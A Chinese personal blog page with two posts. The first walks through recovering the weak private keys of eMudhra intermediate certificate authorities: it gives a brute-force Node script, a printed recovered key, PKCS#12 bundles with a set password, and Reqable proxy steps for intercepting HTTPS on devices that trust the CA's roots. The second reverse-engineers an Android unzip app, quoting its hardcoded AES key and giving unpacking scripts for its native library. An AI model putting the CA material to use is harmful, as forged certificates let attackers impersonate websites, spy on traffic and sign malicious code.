YuHuanTin's Blog

eMudhra CA 利用

2026/10/26

准备工具: OpenSSL、Node

原理

TLS 证书是一条签名链。客户端信任库里只有根证书,中间层和叶子层由服务器在握手时提供,逐级验证签名

graph LR
    R["根证书<br/>客户端信任库里已有的证书"] --> I["中级 CA<br/>签发叶证书"]
    I --> L["叶证书<br/>某个域名"]

中级 CA 的私钥用来给叶证书签名。拿到这个私钥,就能给任意域名签出链条完整、签名有效的叶证书,等于拿到了冒充任意网站的能力。

私钥与公钥的关系

ECDSA 用到的量:

符号 含义
O 单位元,椭圆曲线上的无穷远点
G (定值)基点,曲线参数中固定的一个点,所有 P-384 密钥共用
n (定值)G 的整数阶,满足 n × G = O 的最小正整数
Q 公钥,曲线上的一个点
d 私钥,从 [1, n-1] 中随机选取的整数

公钥由私钥算出:

1
Q = d × G

G 乘上 n 得到单位元 O,乘上 n+1 回到 G,序列开始循环:

1
2
n × G = O
(n + 1) × G = G

所以私钥 d 只需从 [1, n-1] 中选取。n 是曲线参数里的固定常数,P-384 的 n 是一个 384 位的素数:

1
n = FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC7634D81F4372DDF581A0DB248B0A77AECEC196ACCC52973

而这批证书的 d 全部小于 256,候选只有 255 个。把 d 从 1 开始逐个代入 d × G,与证书里的公钥比对即可。前几个 d 算出的完整公钥:

d x (前16字节) y(前16字节)
1 aa87ca22be8b05378eb1c71ef320ad74... 3617de4a96262c6f5d9e98bf9292dc29...
2 08d999057ba3d2d969260045c55b97f0... 8e80f1fa5b1b3cedb7bfe8dffd6dba74...
3 077a41d4606ffa1464793c7e5fdc7d98... c995f7ca0b0c42837d0bbe9602a9fc99...
4 138251cd52ac9298c1c8aad977321deb... cacae29869a62e1631e8a28181ab5661...
5 11de24a2c251c777573cac5ea025e467... 8fa696c77440f92d0f5837e90a00e7c5...

d = 1 那行就是基点 G 本身。d = 4 那行的 x、y 与 EM-OV-TLS-CA-G3C-emSign.pem 证书里的公钥逐字节相同,下面是该证书的完整公钥点:

1
2
3
4
5
6
7
04:13:82:51:cd:52:ac:92:98:c1:c8:aa:d9:77:32:1d
eb:97:e7:09:bd:0b:4c:a0:ac:a5:5d:c8:ad:51:dc:fc
9d:15:89:a1:59:7e:3a:51:20:e1:ef:d6:31:c6:3e:18
35:ca:ca:e2:98:69:a6:2e:16:31:e8:a2:81:81:ab:56
61:6d:c4:5d:91:8a:bc:09:f3:ab:0e:63:cf:79:2a:a4
dc:ed:73:87:be:37:bb:a5:69:54:9f:1c:02:b2:70:ed
67

公钥开头的 04 是 SEC1 定义的未压缩点标记,占 1 字节,说明后面的坐标是完整的 x 和 y。剩下 96 字节依次是 x 与 y,各 48 字节,所以整个公钥点是 97 字节

所以这张证书的私钥就是 4

发生了什么

2025-04-30,eMudhra 生成了一批中级 CA。流程中临时改动了一个脚本用于测试 wrap/unwrap,由于脚本缺陷导致多生成了一对密钥,这对密钥的随机数不足。密钥标签相近,生成 CSR 时选中了弱密钥,根证书据此签出证书,同一批 CSR 也送交 Sectigo 做交叉签名

出问题的是 B、C 两个批次中的 P-384 密钥,共 8 个:DV、OV、EV 三类 TLS 中级 CA 各一对(G3B、G3C),加两个代码签名中级 CA(OV CS 的 G3B、G3C)

每个私钥对应两张证书:eMudhra 自己签发的、Sectigo 交叉签发的。两张证书公钥相同、序列号不同,通向不同的根,合计 16 张

利用

爆破私钥

枚举 d = 1..255 即可,这里留出余量跑到 4095。用 Node 的 crypto.createECDH:

1
2
3
4
5
6
7
const ecdh = crypto.createECDH('secp384r1');
for (let d = 1; d <= 4095; d++) {
const buf = Buffer.alloc(48);
buf.writeUInt32BE(d, 44);
ecdh.setPrivateKey(buf);
if (ecdh.getPublicKey().equals(point)) break; // point 取自证书的 SPKI
}

完整脚本 recover_key.js,接收证书路径和输出的私钥路径

8 个密钥的结果(只列 -emSign.pem 那 8 张):

证书文件 d
EM-DV-TLS-CA-G3B-emSign.pem 156
EM-DV-TLS-CA-G3C-emSign.pem 230
EM-EV-TLS-CA-G3B-emSign.pem 115
EM-EV-TLS-CA-G3C-emSign.pem 56
EM-OV-TLS-CA-G3B-emSign.pem 155
EM-OV-TLS-CA-G3C-emSign.pem 4
EM-OV-CS-CA-G3B-emSign.pem 66
EM-OV-CS-CA-G3C-emSign.pem 237

每张证书都有 AAA 交叉签名版,比如 EM-OV-TLS-CA-G3C-AAA.pem。两张证书公钥相同,跑脚本会还原出同一个 d。所以爆破一遍即可,8 个私钥覆盖 16 张证书

以 EM-OV-TLS-CA-G3C-emSign.pem 为例跑一遍,脚本直接输出 PEM:

1
node recover_key.js EM-OV-TLS-CA-G3C-emSign.pem EM-OV-TLS-CA-G3C.key

得到的 EM-OV-TLS-CA-G3C.key 就是私钥:

1
2
3
4
5
6
-----BEGIN PRIVATE KEY-----
MIG2AgEAMBAGByqGSM49AgEGBSuBBAAiBIGeMIGbAgEBBDAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAShZANiAAQTglHNUqyS
mMHIqtl3Mh3rl+cJvQtMoKylXcitUdz8nRWJoVl+OlEg4e/WMcY+GDXKyuKYaaYu
FjHoooGBq1ZhbcRdkYq8CfOrDmPPeSqk3O1zh743u6VpVJ8cArJw7Wc=
-----END PRIVATE KEY-----
1
openssl pkey -in EM-OV-TLS-CA-G3C.key -noout -text
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Private-Key: (384 bit)
priv:
00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
00:00:04
pub:
04:13:82:51:cd:52:ac:92:98:c1:c8:aa:d9:77:32:
1d:eb:97:e7:09:bd:0b:4c:a0:ac:a5:5d:c8:ad:51:
dc:fc:9d:15:89:a1:59:7e:3a:51:20:e1:ef:d6:31:
c6:3e:18:35:ca:ca:e2:98:69:a6:2e:16:31:e8:a2:
81:81:ab:56:61:6d:c4:5d:91:8a:bc:09:f3:ab:0e:
63:cf:79:2a:a4:dc:ed:73:87:be:37:bb:a5:69:54:
9f:1c:02:b2:70:ed:67
ASN1 OID: secp384r1
NIST CURVE: P-384

48 字节的私钥里 47 个是 00,最后一个是 04,有效位仅 1 字节


用这个私钥重新签官方给的 message.txt,再用证书里的公钥验证。公钥从 EM-OV-TLS-CA-G3C-emSign.pem 里取:

1
2
3
4
5
openssl x509 -in EM-OV-TLS-CA-G3C-emSign.pem -noout -pubkey > pub.pem

openssl dgst -sha384 -sign EM-OV-TLS-CA-G3C.key -out my.sig message.txt
openssl dgst -sha384 -verify pub.pem -signature my.sig message.txt
# Verified OK

签名通过说明这把还原出的私钥与证书里的公钥是同一对。

官方例子

官方 proof.zip 给的是持有私钥的证明:用同一个 pub.pem 去验证官方附带的签名。

1
2
openssl dgst -sha384 -verify pub.pem -signature EM-OV-TLS-CA-G3C.sig message.txt
# Verified OK

两个签名的字节不同(ECDSA 每次签名随机取 k),但都能被同一把公钥验证。上一步证明还原出的私钥对应这把公钥,这一步证明官方签名也对应这把公钥,两者合起来说明还原出的私钥与官方的私钥是同一把。

8 组证书与签名都能这样验证,把文件名换成任意一组即可。私钥可被算出这一点,由上面的枚举过程证明。

Reqable

Reqable 默认给每台设备生成一个自己的根证书,抓 HTTPS 时用它签叶证书,所以正常流程要把这个根装进目标设备。这里把这个根换成 eMudhra 的中级 CA:Reqable 改用该 CA 的私钥签叶证书,链条从叶证书走到中级 CA,再走到客户端本来信任的根,目标设备不需要安装任何根证书。

Reqable 在 3.3.5 引入中间证书支持 github issue

中间证书 p12 的生成

制作 p12,口令设为 123。两个根各签了一张证书,公钥相同、签发者不同,按客户端信任的根来选:

走 AAA 根的:

1
2
3
4
5
6
openssl pkcs12 -export \
-inkey EM-OV-TLS-CA-G3C.key \
-in EM-OV-TLS-CA-G3C-AAA.pem \
-name "EM OV TLS CA G3C" \
-passout pass:123 \
-out emudhra-g3c-aaa.p12

走 emSign 根的:

1
2
3
4
5
6
openssl pkcs12 -export \
-inkey EM-OV-TLS-CA-G3C.key \
-in EM-OV-TLS-CA-G3C-emSign.pem \
-name "EM OV TLS CA G3C" \
-passout pass:123 \
-out emudhra-g3c-emsign.p12

导入方式:证书 菜单 → 根证书管理 → 导入根证书(.p12)

使用以下命令进行测试,安卓设备无需安装任何证书:

1
curl -x 192.168.53.69:9000 https://example.com 

alt text

其他

文件名结构

EM OV CS CA - G3C 分四段:

字段 含义
EM eMudhra 前缀
DV / OV / EV 验证等级
TLS / CS 能签发哪类终端证书
G3B / G3C 第几代根体系,这一代的第几批

验证等级

缩写 全称 CA 核实什么 证书里出现的身份
DV Domain Validation 申请人控制该域名 只有域名
OV Organization Validation 域名 + 组织的真实存在 组织名称 + 域名
EV Extended Validation 在 OV 基础上更严格 组织名称 + 域名 + 注册地址

验证等级不改变技术上的信任强度,DV 与 EV 在浏览器里走同一条验证路径,差别只在证书里写不写公司名。

用途

graph TD
    R1["emSign Root TLS CA - G3"] --> T["EM DV / OV / EV TLS CA - G3B、G3C<br/>签发服务器证书"]
    R2["emSign Root CS CA - G3"] --> C["EM OV CS CA - G3B、G3C<br/>签发代码签名证书"]

TLS 签发服务器证书,CS(Code Signing)签发代码签名证书,用于可执行文件、驱动、安装包。代码签名证书的审核等级是 OV,所以写作 OV CS。

代次与批次

G3 是 eMudhra 第三代根体系(ECC P-384),上一代 G1 用 RSA。B、C 是 2025-04-30 那次仪式里 24 个中级 CA 的分批,A 批在 2025 年 5 月撤销并由 A-1 替换。G3B 属 O=eMudhra BV, C=NL,G3C 属 O=eMudhra Inc, C=US。

格式

格式 全称 是什么
ASN.1 Abstract Syntax Notation One 描述数据结构的标准
DER Distinguished Encoding Rules ASN.1 的二进制编码规则
PEM Privacy-Enhanced Mail DER 再做 Base64,外面包文本头尾
PKCS #8 Public-Key Cryptography Standards #8 装私钥的 ASN.1 结构
PKCS #12 Public-Key Cryptography Standards #12 装证书链和私钥的加密容器

层次关系:ASN.1 定义”有哪些字段”,DER 决定”字节怎么排”,PEM 在 DER 外面套一层文本,PKCS #8 和 PKCS #12 都是 ASN.1 定义的具体结构。

graph LR
    A["ASN.1<br/>结构定义"] --> B["DER<br/>二进制编码"]
    B --> C["PEM<br/>Base64 + 文本头尾"]
    A --> D["PKCS #8<br/>私钥结构"]
    A --> E["PKCS #12<br/>容器结构"]
    D --> B
    E --> B

扩展名只是约定。.pem、.crt、.cer、.der 都可能装 PEM 或 DER,判断依据是文件开头:-----BEGIN 是 PEM,首字节 0x30 是 DER

ASN.1(Abstract Syntax Notation One)

ASN.1 是一种描述数据结构的标准,规定”一个私钥由哪些字段组成、每个字段是什么类型”,不管这些字段怎么变成字节。

一份私钥的 ASN.1 结构叫 PKCS #8 PrivateKeyInfo。这份私钥的 PrivateKeyInfo 是三段:

字段 类型 内容
version INTEGER 0
privateKeyAlgorithm SEQUENCE 算法标识,写 EC 和曲线名
privateKey OCTET STRING 私钥本体,本身又是一段 ASN.1

第三段里装的是 RFC 5915 定义的 ECPrivateKey,后两个字段都可以省略:

字段 类型 内容
version INTEGER 1
privateKey OCTET STRING 私钥标量,48 字节
parameters [0] 曲线,可省略
publicKey [1] 公钥点,97 字节,可省略

DER(Distinguished Encoding Rules)

DER 是 ASN.1 的一种编码规则,规定字段怎么变成字节,每个值都是三段:

段 含义
Tag 一个字节,说明这个值是什么类型
Length 长度,短格式占 1 字节;最高位为 1 时表示长格式,低 7 位是后续长度字节的个数
Value 内容,定长类型就是原始字节,复合类型就是内嵌的其他 TLV

常见 Tag:

Tag 类型
30 SEQUENCE,有序的复合结构
02 INTEGER
04 OCTET STRING,一段字节序列
06 OBJECT IDENTIFIER,带点号的标识
03 BIT STRING
a0 / a1 [0] / [1] 上下文标签,表示可选字段

例如通过 cyberchef Parse ASN.1 hex string 组件就可查看

1
2
3
4
5
6
7
8
9
10
11
SEQUENCE
INTEGER 00
SEQUENCE
ObjectIdentifier ecPublicKey (1 2 840 10045 2 1)
ObjectIdentifier secp384r1 (1 3 132 0 34)
OCTETSTRING, encapsulates
SEQUENCE
INTEGER 01
OCTETSTRING 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009c
[1]
BITSTRING 0004e79ed9c04a9773c4735e51111da85ac2bd5e64ab374b80e12cbc2038ec1e4f0e3b812fc9859e1e67afb04e2f8bc97f7485ba65aa911ee8a4e45b62d5cc03d56be678b3c38cb4dc937ca2460e238453c892935d29d44f91e15606b63ccedab468

PEM(Privacy-Enhanced Mail)

PEM 把 DER 做 Base64,每 64 个字符换一行,首尾各加一行标记:

1
2
3
4
5
-----BEGIN CERTIFICATE-----
MIIDzjCCAragAwIBAgIRAKAk/fS6Zlx4XOSgIEg4WLcwDQYJKoZIhvcNAQELBQAw
ezELMAkGA1UEBhMCR0IxGzAZBgNVBAgMEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4G
...
-----END CERTIFICATE-----

首尾两行的标记叫 label,说明里面装的是什么:

label 内容
CERTIFICATE X.509 证书
PRIVATE KEY PKCS #8 私钥
EC PRIVATE KEY 传统 EC 私钥,没有 PKCS #8 外层
RSA PRIVATE KEY 传统 RSA 私钥
PUBLIC KEY 公钥

Base64 是可逆的文本编码,转回二进制就是 DER:

1
2
openssl x509 -in cert.pem -outform DER -out cert.der   # PEM 证书 → DER
openssl x509 -inform DER -in cert.der -out cert.pem # DER 证书 → PEM

一个文件里首尾相接放多张证书,就是证书链或 CA bundle,验证时会按顺序逐张尝试:

1
grep -c "BEGIN CERTIFICATE" bundle.pem

p12(PKCS #12)

PKCS #12 是容器,把证书链和私钥装进一个文件,扩展名 .p12 或 .pfx。抓包工具需要同时拿到证书和私钥,所以用这个格式。制作方法见上面的 Reqable 一节。

文件

文件 内容
emudhra-public.zip 16 张公钥证书,命名 <名称>-emSign.pem 与 <名称>-AAA.pem
emudhra-private.zip 8 个还原出的私钥,命名 <名称>.key
emudhra-g3c-aaa.p12 中级 CA 私钥 + EM-OV-TLS-CA-G3C-AAA.pem,口令 123
emudhra-g3c-emsign.p12 中级 CA 私钥 + EM-OV-TLS-CA-G3C-emSign.pem,口令 123
proof.zip 官方的签名材料:8 组 .crt.pem、.pub.pem、.sig,加一个 message.txt
recover_key.js 爆破脚本

参考

阅读更多

一款可分享密码的解压缩 app 分析学习

2026/07/12

解压专家 (apk)

依据 ELF 结构

分析一款可以共享密码的解压缩 app,其中用到了 native 的知识点

本文将介绍两种 native 解密方法

java 层

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
public static void checkPasswordFromServer(String s, Context context0, FindPasswordCallback zipUtil$FindPasswordCallback0) {
new Thread(new Runnable() {
@Override
public void run() {
var hashMap0 = new HashMap();
DocumentFileBean documentFileBean0 = DocumentFileManager.getFileBean(context0, s);
if(documentFileBean0 != null) {
String s = documentFileBean0.getFileName();
long v = documentFileBean0.getFileSize();
hashMap0.put("fileName", s);
hashMap0.put("fileSize", v);
String s1 = ZMCoreUnZipWrapper.getQPWAT(context0, s + v);
try {
hashMap0.put("md5", FileUtil.getFileMd5(s));
}
catch(Exception exception0) {
exception0.printStackTrace();
}

var gson0 = new Gson();
String s2 = gson0.toJson(hashMap0);
var okHttpClient0 = new OkHttpClient();
try {
var secureRandom0 = new SecureRandom();
byte[] arr_b = new byte[16];
secureRandom0.nextBytes(arr_b);
var ivParameterSpec0 = new IvParameterSpec(arr_b);
var secretKeySpec0 = new SecretKeySpec("EyR2JvBXJXaUdY9auxetvhpEeQ8DmC6L".getBytes("UTF-8"), "AES");
String s3 = gson0.toJson(new ZipCheckInfo(Base64.encodeToString(ZipUtil.GeneralEncrypt(s2.getBytes("UTF-8"), secretKeySpec0, ivParameterSpec0), 2), Base64.encodeToString(arr_b, 2)));
RequestBody requestBody0 = RequestBody.create(ZipUtil.JSON, s3);
okHttpClient0.newCall(new Builder().url("https://file.unisapps.com/api/v3/search/info").addHeader("User-Client-Access", s1).addHeader("appid", "zipa").addHeader("version", CommonUtil.getVersionName(context0)).addHeader("platform", "android").post(requestBody0).build()).enqueue(new Callback() {
@Override // okhttp3.Callback
public void onFailure(Call call0, IOException iOException0) {
Log.d("onFailure", "onFailure---" + iOException0.getMessage());
com.fileunzip.zxwknight.utils.ZipUtil.8.this.val$callback.findPassword("");
}

@Override // okhttp3.Callback
public void onResponse(Call call0, Response response0) throws IOException {
if(response0.isSuccessful()) {
if(response0.code() != 200) {
com.fileunzip.zxwknight.utils.ZipUtil.8.this.val$callback.findPassword("");
return;
}

try {
String s = response0.body().string();
Class class0 = new HashMap().getClass();
var map0 = (Map)gson0.fromJson(s, class0);
byte[] arr_b = Base64.decode(((String)map0.get("data")), 2);
var ivParameterSpec0 = new IvParameterSpec(Base64.decode(((String)map0.get("iv")), 2));
var s1 = new String(ZipUtil.GeneralDecrypt(arr_b, secretKeySpec0, ivParameterSpec0), "UTF-8");
new HashMap();
Class class1 = map0.getClass();
var s2 = (String)((Map)gson0.fromJson(s1, class1)).get("pd");
com.fileunzip.zxwknight.utils.ZipUtil.8.this.val$callback.findPassword(s2);
}
catch(Exception unused_ex) {
com.fileunzip.zxwknight.utils.ZipUtil.8.this.val$callback.findPassword("");
}

Log.d("map", "map");
return;
}

com.fileunzip.zxwknight.utils.ZipUtil.8.this.val$callback.findPassword("");
}
});
}
catch(Exception exception1) {
exception1.printStackTrace();
}

return;
}

zipUtil$FindPasswordCallback0.findPassword("");
}
}).start();
}

getVersionName

1
2
3
4
5
6
7
8
9
public static String getVersionName(Context context0) {
try {
return context0.getApplicationContext().getPackageManager().getPackageInfo("com.fileunzip.zxwknight", 0).versionName;
}
catch(PackageManager.NameNotFoundException packageManager$NameNotFoundException0) {
packageManager$NameNotFoundException0.printStackTrace();
return "";
}
}

image.png

User-Client-Access

1
2
3
4
5
String s = documentFileBean0.getFileName();
long v = documentFileBean0.getFileSize();
hashMap0.put("fileName", s);
hashMap0.put("fileSize", v);
String s1 = ZMCoreUnZipWrapper.getQPWAT(context0, s + v);

其中 getQPWAT 调用 libZMCoreUnZip.so 的 executeGBS native 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static String getQPWAT(Context context0, String s) {
return ZMCoreUnZipZipApi.executeGBS(s, context0);
}

public class ZMCoreUnZipZipApi {
static {
System.loadLibrary("ZMCoreUnZip");
}

public static native int executeConfig(String arg0, ZMCoreUnZipZipExtractCallback arg1, String arg2, Context arg3, int arg4) {
}

public static native String executeGBS(String arg0, Context arg1) {
}

public static native String getVersionInfo() {
}
}

native 层

静态分析+vibe

发现能识别 elf,但是 export 符号很奇怪,不是可见字符,且指示条不正常

image.png

发现 JNI_OnLoad export 不存在,所以看 init_array

image.png

发现不是很好找,这里根据 elf 结构我们可以直接根据 Elf64_Dyn 类型引用定位到 ELF Dynamic Information 然后找到 DT_INIT_ARRAY

image.png

image.png

随后发现 init_array 均为空值 0,说明需要重定向。

查看 DT_RELA 元素为 Elf64_Rela

1
2
3
4
5
6
struct Elf64_Rela
{
unsigned __int64 r_offset;
unsigned __int64 r_info;
__int64 r_addend;
};

注意我们需要 r_info == 0x403 的项目,且 r_offset 需要位于 [DT_INIT_ARRAY, DT_INIT_ARRAY + DT_INIT_ARRAYSZ) 之中,即 [0x55DB00, 0x55DB00+0x20)

image.png

所以 init_array 为

1
2
3
4
0x549504 // init1
0x5495B4 // init2
0x549D08 // init3
0

可以通过编写以下脚本来应用重定向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# from `ELF RELA Relocation Table`
base = 0
table = [
(0x55DB00, 0x549504),
(0x55DB08, 0x5495B4),
(0x55DB10, 0x549D08),
(0x55DB20, 0x549490),
(0x55DB28, 0x54949C),
(0x55DE30, 0x55F5B0),
(0x55DE68, 0x55F5A8),
(0x55DE70, 0x55E008),
(0x55DEA0, 0x553A88),
(0x55DEB0, 0x557268),
(0x55DEC0, 0x55F550),
(0x55DED0, 0x54B288),
(0x55DEE0, 0x55F5C0),
(0x55DF10, 0x55E130),
(0x55DF60, 0x55723C),
(0x55DF78, 0x55FA30),
(0x55DF90, 0x55FB88),
(0x55DFB0, 0x55FB50),
(0x55DFC0, 0x54AFE0),
(0x55DFD0, 0x55F5B8),
(0x55DFD8, 0x54B070),
(0x55DFE0, 0x55F9E0),
(0x55F5B0, 0x63BF68),
(0x55F5B8, 0),
]

def main():
import utils_ida
for old, new in table:
print(f"patch {hex(old)} -> {hex(base + new)}")
utils_ida.DelItem(old, 8)
utils_ida.CreateQword(old)
utils_ida.Patch(old, (base + new).to_bytes(8, 'little'))
utils_ida.SetType(old, "void (*)(void)")

if __name__ == "__main__":
main()

借助 ai 分析,能够找到关键全局变量并创建结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#pragma pack(push, 2)
struct loader_meta_t
{
unsigned __int64 image_header_off;
unsigned __int64 program_headers_off;
unsigned __int64 dynsym_off;
unsigned __int64 dynstr_off;
unsigned __int64 unknown_table_20_off;
unsigned __int64 rela_off;
unsigned __int64 jmprel_off;
unsigned __int64 optional_table_off;
unsigned __int64 dynamic_off;
unsigned __int64 aux_src_off;
unsigned __int64 callback_or_code_off;
unsigned __int64 loader_entry_off;
unsigned __int64 android_reloc_off;
unsigned int phnum;
unsigned int unknown_6C;
unsigned int rela_count;
unsigned int jmprel_count;
unsigned int android_reloc_size;
unsigned int payload_seed0;
unsigned int flags;
unsigned int packed_size;
unsigned int aux_size;
unsigned int init_stage;
unsigned int dynsym_seed0;
unsigned int sym_index_begin;
unsigned int sym_index_end;
unsigned int dynsym_seed3;
unsigned int resource_flags;
unsigned int loader_word_A4;
int gate_beg;
int gate_end;
unsigned int split_begin;
unsigned int split_end;
};
#pragma pack(pop)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
.data:000000000063BF68 ; loader_meta_t loader_meta
.data:000000000063BF68 loader_meta DCQ 0 ; image_header_off
.data:000000000063BF70 DCQ 0 ; program_headers_off
.data:000000000063BF78 DCQ 0x150 ; dynsym_off
.data:000000000063BF80 DCQ 0x5BA5E8 ; dynstr_off
.data:000000000063BF88 DCQ 0xE70 ; unknown_table_20_off
.data:000000000063BF90 DCQ 0xE70 ; rela_off
.data:000000000063BF98 DCQ 0x6CB58 ; jmprel_off
.data:000000000063BFA0 DCQ 0 ; optional_table_off
.data:000000000063BFA8 DCQ 0x6CB58 ; dynamic_off
.data:000000000063BFB0 DCQ 0xB8 ; aux_src_off
.data:000000000063BFB8 DCQ 0x4B8290 ; callback_or_code_off
.data:000000000063BFC0 DCQ 0x5A68F8 ; loader_entry_off
.data:000000000063BFC8 DCQ 0 ; android_reloc_off
.data:000000000063BFD0 DCD 6 ; phnum
.data:000000000063BFD4 DCD 0 ; unknown_6C
.data:000000000063BFD8 DCD 0x47DF ; rela_count
.data:000000000063BFDC DCD 0 ; jmprel_count
.data:000000000063BFE0 DCD 0 ; android_reloc_size
.data:000000000063BFE4 DCD 0x80B35FC2 ; payload_seed0
.data:000000000063BFE8 DCD 3 ; flags
.data:000000000063BFEC DCD 0x5062E0 ; packed_size
.data:000000000063BFF0 DCD 0x6CC18 ; aux_size
.data:000000000063BFF4 DCD 5 ; init_stage
.data:000000000063BFF8 DCD 0 ; dynsym_seed0
.data:000000000063BFFC DCD 0x3A ; sym_index_begin
.data:000000000063C000 DCD 0x2F28 ; sym_index_end
.data:000000000063C004 DCD 0x815C0 ; dynsym_seed3
.data:000000000063C008 DCD 0 ; resource_flags
.data:000000000063C00C DCD 0 ; loader_word_A4
.data:000000000063C010 DCD 0xFFFFFFFF ; gate_beg
.data:000000000063C014 DCD 0xFFFFFFFF ; gate_end
.data:000000000063C018 DCD 0 ; split_begin
.data:000000000063C01C DCD 0 ; split_end

三个 init 函数分别有以下功能

init1 负责环境探测

顺序 动作 结果
1 dlopen("libc.so") 获得 libc 句柄
2 dlsym("__system_property_get") 获得系统属性读取函数
3 读取 ro.build.version.sdk 记录 Android SDK 版本
4 打开 /proc/self/maps 枚举当前进程映射
5 按 "%lx-%lx %4s %*x %*x:%*x %*d%n" 解析映射行 获得区间和页权限
6 结合 SDK、模块位置和权限写入全局状态 给 init3 与 load2_load_packed_segments 使用

init2 负责恢复 dynsym、dynstr

1
2
3
4
5
6
init2
-> 解析 DT_SYMTAB / DT_STRTAB / DT_HASH
-> init2_run_symbol_decode_context
-> gp_decode_D1 = dynstr_dynsym_decode_Impl
-> DispatchToSymbolDecode(...)
-> dynstr_dynsym_decode_Impl

注意到:

item value
DT_SYMTAB 0x55FD38
DT_STRTAB 0x5BA5E8
DT_STRSZ 0x817E0
DT_HASH.nchain 0x2F28
loader_meta.sym_index_begin 0x3A
loader_meta.sym_index_end 0x2F28
loader_meta.dynsym_seed3 0x815C0

dynstr_dynsym_decode_Impl 的解密过程

dynstr_dynsym_decode_Impl @ 0x54D6B8 做两件事:先解 .dynstr,再修 .dynsym

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
// Decodes runtime .dynstr (dword-XOR stream) and patches Elf64_Sym entries by XOR-adjusting st_value/st_size for a selected symbol range.
__int64 __fastcall dynstr_dynsym_decode_Impl(
_BYTE *dynsym_base,
unsigned int i_1,
unsigned int i_2,
_DWORD *pDynStr,
unsigned int dynstrLen,
int a6)
{
__int64 i; // x4
int key; // w6
int v9; // w5
Elf64_Sym *sym; // x0
__int64 v11; // x4
__int64 v12; // x8
Elf64_Sym *endSym; // x2
unsigned __int64 st_value; // x1
unsigned __int64 st_value_1; // x3
unsigned __int64 st_size; // x1

if ( a6 == 0 )
{
if ( dynstrLen != 0 )
{
i = 0;
key = 0x56312342;
do
{
v9 = pDynStr[i] ^ key;
key += i * 4;
pDynStr[i++] = v9;
}
while ( dynstrLen > (unsigned int)(i * 4) );
}
sym = (Elf64_Sym *)&dynsym_base[24 * i_1];
if ( i_1 < i_2 )
{
v11 = i_1 + 0x151;
v12 = i_1 + 0x15B;
endSym = &sym[i_2 - 1 - i_1 + 1];
do
{
st_value = sym->st_value;
st_value_1 = st_value ^ v11;
if ( st_value != 0 )
{
st_size = sym->st_size;
sym->st_value = st_value_1;
sym->st_size = st_size ^ v12;
}
++sym;
}
while ( sym != endSym );
}
}
return 1;
}

给出修复脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
def fix_dynstr():
key = 0x56312342
start = int('00000000005BA5E8', 16)
end = int('000000000063BBBC', 16)

utils_ida.DelItem(start, end - start)
b = utils_ida.GetBytesFromEA(start, end - start)
print(f"patch {hex(start)} -> {hex(end)}, length: {len(b)}")
assert len(b) % 4 == 0, "length must be multiple of 4"

new_b = bytearray()
for i in range(0, len(b) // 4):
v = int.from_bytes(b[i*4:i*4+4], 'little')
new_v = v ^ (key & 0xFFFFFFFF)
key = (key + i * 4) & 0xFFFFFFFF
new_b += new_v.to_bytes(4, 'little')
utils_ida.Patch(start, new_b)

def fix_dynsym():
start = int('000000000055FD38', 16)
end = int('00000000005A68F8', 16) # dynsym 结束与 HASH 表之前

b = utils_ida.GetBytesFromEA(start, end - start)

assert len(b) % 0x18 == 0, "length must be multiple of 0x18"

new_b = bytearray()
the_start = 0
for i in range(0, len(b) // 0x18):
st_name, st_info, st_other, st_shndx, st_value, st_size = struct.unpack('<IBBHQQ', b[i * 0x18: (i + 1) * 0x18])

# skip external symbol
if st_shndx != 0:
if the_start == 0:
the_start = i

assert the_start == 58, "the_start must be 58"
st_value ^= (the_start + 0x151) & 0xFFFFFFFFFFFFFFFF
st_size ^= (the_start + 0x15B) & 0xFFFFFFFFFFFFFFFF
new_b += struct.pack('<IBBHQQ', st_name, st_info, st_other, st_shndx, st_value, st_size)
utils_ida.Patch(start, new_b)

if __name__ == "__main__":
fix_dynstr()
fix_dynsym()

init3 负责还原代码

1
2
3
4
5
6
7
init3
-> decode_dyn_decode_api_table // 解密 dyn_decode_api_table 函数
-> dyn_decode_api_table
-> load1_build_runtime_context
-> load2_load_packed_segments
-> DispatchTo(core_decode) // flags bit1
-> core_decode

load2_load_packed_segments

函数概括为六个阶段:

  1. 从 ELF header 后定位主 packed payload,并定位 payload 尾部的 trailer
  2. 根据 flags 获取可选字符串或构造外部 key
  3. 第一次调用 core_decode,恢复 metadata 后方的 ELF 链接信息块
  4. 以链接信息块为基址回填 Program Header、.dynsym、.dynamic 和 relocation 地址
  5. 第二次调用 core_decode,把主 packed payload 还原为带 8 字节长度头的 zlib 包
  6. 分配独立输出缓冲,调用 zlib_uncompress2_wrapper,再按 PT_LOAD 解释解压结果
flowchart TD
    A["从 image_base 定位 packed_src"]
    B["准备 packed_dst 与 ext_key"]
    C["解码 `meta+0x48` 数据块"]
    D{"flags"}
    E["bit5: fixed XOR"]
    F["bit1: core_decode"]
    G["读取 unpacked_size / compressed_size"]
    H["解压为最终 ELF 内存镜像"]
    I["回填 elf_parse_ctx_t"]
    A --> B --> C --> D
